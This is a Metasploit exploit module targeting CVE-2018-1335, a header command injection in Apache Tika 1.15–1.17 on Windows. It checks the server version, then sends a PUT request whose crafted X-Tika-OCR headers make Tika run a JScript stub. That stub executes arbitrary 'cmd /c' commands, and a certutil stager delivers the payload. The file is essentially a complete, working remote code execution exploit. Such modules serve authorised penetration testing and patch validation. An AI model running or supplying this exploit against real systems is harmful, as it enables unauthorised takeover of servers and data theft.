##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Tika Header Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Apache
Tika 1.15 - 1.17 on Windows. A file with the image/jp2 content-type is
used to bypass magic bytes checking. When OCR is specified in the
request, parameters can be passed to change the parameters passed
at command line to allow for arbitrary JScript to execute. A
JScript stub is passed to execute arbitrary code. This module was
verified against version 1.15 - 1.17 on Windows 2012.
While the CVE and finding show more versions vulnerable, during
testing it was determined only > 1.14 was exploitable due to
jp2 support being added.
},
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'win',
'Targets' =>
[
['Windows',
{'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'CmdStagerFlavor' => ['certutil']
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 25 2018',
'Author' =>
[
'h00die', # msf module
'David Yesland', # edb submission
'Tim Allison' # discovery
],
'References' =>
[
['EDB', '46540'],
['URL', 'https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/'],
['URL', 'https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E'],
['CVE', '2018-1335']
]))
register_options(
[
Opt::RPORT(9998),
OptString.new('TARGETURI', [true, 'The base path to the web application', '/'])
])
register_advanced_options(
[
OptBool.new('ForceExploit', [true, 'Override check result', false])
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri),
})
if res.nil?
vprint_error('No server response, check configuration')
return CheckCode::Safe
elsif res.code != 200
vprint_error('No server response, check configuration')
return CheckCode::Safe
end
if res.body =~ /Apache Tika (\d.[\d]+)/
version = Gem::Version.new($1)
vprint_status("Apache Tika Version Detected: #{version}")
if version.between?(Gem::Version.new('1.15'), Gem::Version.new('1.17'))
return CheckCode::Vulnerable
end
end
CheckCode::Safe
end
def execute_command(cmd, opts = {})
cmd.gsub(/"/, '\"')
jscript="var oShell = WScript.CreateObject('WScript.Shell');\n"
jscript << "var oExec = oShell.Exec(\"cmd /c #{cmd}\");"
print_status("Sending PUT request to #{peer}#{normalize_uri(target_uri, 'meta')}")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(target_uri, 'meta'),
'headers' => {
"X-Tika-OCRTesseractPath" => '"cscript"',
"X-Tika-OCRLanguage" => "//E:Jscript",
"Expect" => "100-continue",
"Content-type" => "image/jp2",
"Connection" => "close"},
'data' => jscript
})
fail_with(Failure::Disconnected, 'No server response') unless res
unless (res.code == 200 && res.body.include?('tika'))
fail_with(Failure::UnexpectedReply, 'Invalid response received, target may not be vulnerable')
end
end
def exploit
checkcode = check
unless checkcode == CheckCode::Vulnerable || datastore['ForceExploit']
print_error("#{checkcode[1]}. Set ForceExploit to override.")
return
end
execute_cmdstager(linemax: 8000)
end
end
